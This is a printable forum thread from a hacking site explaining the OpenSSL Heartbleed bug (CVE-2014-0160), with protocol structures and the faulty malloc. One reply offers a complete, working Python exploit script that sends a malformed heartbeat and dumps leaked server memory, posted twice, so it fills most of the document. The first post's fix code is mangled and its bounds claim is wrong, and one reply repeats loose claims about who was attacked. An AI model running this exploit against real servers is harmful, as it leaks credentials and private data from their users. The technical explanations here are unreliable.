![]() |
|
The HeartBleed Bug - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking) +--- Thread: The HeartBleed Bug (/Thread-The-HeartBleed-Bug) |
The HeartBleed Bug - alok9shm - 04-12-2014 The HeartBleed Bug Recently, this new bug (but almost 2 years old :troll in the OpenSSL library used in most servers surfaced and this is no ordinary bug. Yes!! It affects a major share of websites and poses a threat to numerous internet users' online safety. Even Yahoo was vulnerable to it (Fixed now). "The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software." OpenSSL versions 1.0.1 through 1.0.1f (inclusive) are vulnerable and can user ids and password are easily leaked due to this bug. Now, what exactly is this bug? I was searching for the bug, its cause, and the fix for, but ended up in boring news headlines that just said what we already know. ie. OpenSSL got a bug and leaks sensitive credentials, but not a single of them explained the real thing behind it. Finally, Fb1h2s (Rahul Sasi) explained everything on his blog and now I share the same with HackCommunity members. Heartbleed.com says "Bug is in the OpenSSL's implementation of the TLS/DTLS (transport layer security protocols) heartbeat extension (RFC6520). When it is exploited it leads to the leak of memory contents from the server to the client and from the client to the server." So, whats wrong in the implementation of this extension? In an established SSL connection, it is required that the connection be maintained for a longer time. And this is the reason the Heartbeat extension is used. (As long as the heart beats, there is life :Nerd Its same as the HTTP keep-alive feature which holds the connection for a long time. But Heartbeat protocol allows a client to perform this action in much higher rate. So, client sends a HeartBeat request and the server has to respond back with a HeartBeat response (Its a simple request and response module in short).The client can send a Heart-Beat request message and the server has to respond back with a HeartBeat response. Simple. Code: heartbeat_request(1),
heartbeat_response(2),This is the actual protocol used: Code: struct {
HeartbeatMessageType type;
uint16 payload_length;
opaque payload[HeartbeatMessage.payload_length];
opaque padding[padding_length];
} HeartbeatMessage;And the TLS packet with HeartBeat addon or extension whatever you say (I can't differentiate between the two even when using Mozilla Firefox. :Yuck ![]() Code: const unsigned char good_data_2[] = {
// TLS record
0x16, // Content Type: Handshake
0x03, 0x01, // Version: TLS 1.0
0x00, 0x6c, // Length (use for bounds checking)
// Handshake
0x01, // Handshake Type: Client Hello Hi Namaste
0x00, 0x00, 0x68, // Length (use for bounds checking)
0x03, 0x03, // Version: TLS 1.2
// Random (32 bytes fixed length)
0xb6, 0xb2, 0x6a, 0xfb, 0x55, 0x5e, 0x03, 0xd5,
0x65, 0xa3, 0x6a, 0xf0, 0x5e, 0xa5, 0x43, 0x02,
0x93, 0xb9, 0x59, 0xa7, 0x54, 0xc3, 0xdd, 0x78,
0x57, 0x58, 0x34, 0xc5, 0x82, 0xfd, 0x53, 0xd1,
0x00, // Session ID Length (skip past this much)
0x00, 0x04, // Cipher Suites Length (skip past this much)
0x00, 0x01, // NULL-MD5
0x00, 0xff, // RENEGOTIATION INFO SCSV
0x01, // Compression Methods Length (skip past this much)
0x00, // NULL
0x00, 0x3b, // Extensions Length (use for bounds checking)
// Extension
0x00, 0x00, // Extension Type: Server Name (check extension type)
0x00, 0x0e, // Length (use for bounds checking)
0x00, 0x0c, // Server Name Indication Length
0x00, // Server Name Type: host_name (check server name type)
0x00, 0x09, // Length (length of your data)
// "localhost" (data your after)
0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x68, 0x6f, 0x73, 0x74,
// Extension
0x00, 0x0d, // Extension Type: Signature Algorithms (check extension type)
0x00, 0x20, // Length (skip past since this is the wrong extension)
// Data
0x00, 0x1e, 0x06, 0x01, 0x06, 0x02, 0x06, 0x03,
0x05, 0x01, 0x05, 0x02, 0x05, 0x03, 0x04, 0x01,
0x04, 0x02, 0x04, 0x03, 0x03, 0x01, 0x03, 0x02,
0x03, 0x03, 0x02, 0x01, 0x02, 0x02, 0x02, 0x03,
// Extension
0x00, 0x0f, // Extension Type: Heart Beat (check extension type)
0x00, 0x01, // Length (skip past since this is the wrong extension)
0x01 // Mode: Peer allows to send requests
};And the shitty bug is this one: Code: buffer = OPENSSL_malloc(1 + 2 + payload + padding);A bad malloc. Insecure one, as memory is allocated from the payload + padding which is a user controlled value without any length checking algo for this allocation. This enabled a hacker to force the Openssl server to read arbitrary memory locations. And the result? This comic strip explains this best :Laughing:: ![]() "The total length of a HeartbeatMessage does NOT exceed 2^14 or max_fragment_length when negotiated as defined in [RFC6066]. Here we are only able to leak 64 kb of memory and that could easily have usernames/password etc." - says Fb1h2s. Its right. Constant HB request could be made to the server leaking (random memory) any amount of data from the server . Now, the Fix to this bug. If we implement a bounds check the payload + padding that is <= 16 bytes, the bug hangs itself to death. Isn't it? :Nerd: Like this: Code: unsigned int write_length = 1 /* heartbeat type */ +
+ 2 /* heartbeat length */ +
+ payload + padding;And yes, the HeartBleed length should be made not to exceed the Max Length. Code: unsigned int write_length = 1 /* heartbeat type */ +
+ 2 /* heartbeat length */ +
+ payload + padding;
+ if (write_length > SSL3_RT_MAX_PLAIN_LENGTH)
+ return 0;Oops, I forgot to mention something. Some Linux based OS, that use this vulnerable OpenSSL version (like Ubuntu 12.04.4 and some versions of CentOS) are vulnerable to this bug. And yes, a major part of the world's Android users are also vulnerable [Version 4.1.1 is Vulnerable and isn't patched till this post was last updated]. :troll: Regards. RE: The HeartBleed Bug - RaccoonCity_mybb_import13707 - 04-13-2014 Cool, never heard of this! Thanks for sharing! Big thanks! RE: The HeartBleed Bug - Spirit - 04-13-2014 If anyone's interested, here's a video my friend made of him exploiting the Heartbleed bug. RE: The HeartBleed Bug - bluedog.tar.gz - 04-13-2014 Nice informative thread! Bookmarked ![]() Thanks RE: The HeartBleed Bug - Boomslang - 04-14-2014 Well explained :Thumbs-Up: Here is a video that explains heartbleed for a non-technical folks ; RE: The HeartBleed Bug - Heartbleed - 04-14-2014 Surprised at the amount of people who had never heard of this! RE: The HeartBleed Bug - pr0st - 04-21-2014 You can check your server here (for the heartbleed bug): https://filippo.io/Heartbleed/ And exploit it with that python script: Code: #!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# Modified by Derek Callaway (decal@ethernet.org) to add STARTTLS protocols
# The authors disclaim copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', type='string', default='', help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=4):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
BUFSIZ = 1024
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
s.connect((args[0], opts.port))
if opts.starttls != '':
print 'Sending STARTTLS Protocol Command...'
if opts.starttls == 'smtp':
s.recv(BUFSIZ)
s.send("EHLO openssl.client.net\n")
s.recv(BUFSIZ)
s.send("STARTTLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'pop3':
s.recv(BUFSIZ)
s.send("STLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'imap':
s.recv(BUFSIZ)
s.send("STARTTLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'ftp':
s.recv(BUFSIZ)
s.send("AUTH TLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'xmpp': # TODO: This needs SASL
s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n")
s.recv(BUFSIZ)
print 'Sending Client Hello...'
s.send(hello)
print 'Waiting for Server Hello...'
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()RE: The HeartBleed Bug - pr0st - 04-21-2014 You can check your server here (for the heartbleed bug): https://filippo.io/Heartbleed/ And exploit it with that python script: Code: #!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# Modified by Derek Callaway (decal@ethernet.org) to add STARTTLS protocols
# The authors disclaim copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', type='string', default='', help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print ' %04x: %-48s %s' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=4):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
BUFSIZ = 1024
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
s.connect((args[0], opts.port))
if opts.starttls != '':
print 'Sending STARTTLS Protocol Command...'
if opts.starttls == 'smtp':
s.recv(BUFSIZ)
s.send("EHLO openssl.client.net\n")
s.recv(BUFSIZ)
s.send("STARTTLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'pop3':
s.recv(BUFSIZ)
s.send("STLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'imap':
s.recv(BUFSIZ)
s.send("STARTTLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'ftp':
s.recv(BUFSIZ)
s.send("AUTH TLS\n")
s.recv(BUFSIZ)
if opts.starttls == 'xmpp': # TODO: This needs SASL
s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n")
s.recv(BUFSIZ)
print 'Sending Client Hello...'
s.send(hello)
print 'Waiting for Server Hello...'
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()RE: The HeartBleed Bug - birdman - 04-25-2014 I heard heart bleed bug was really serious. It attacked major websites like google and facebook. I think hackers are becoming more sophisticated because it had been undetected in openSSL fpr like two years now. RE: The HeartBleed Bug - birdman - 04-25-2014 I heard heart bleed bug was really serious. It attacked major websites like google and facebook. I think hackers are becoming more sophisticated because it had been undetected in openSSL fpr like two years now. |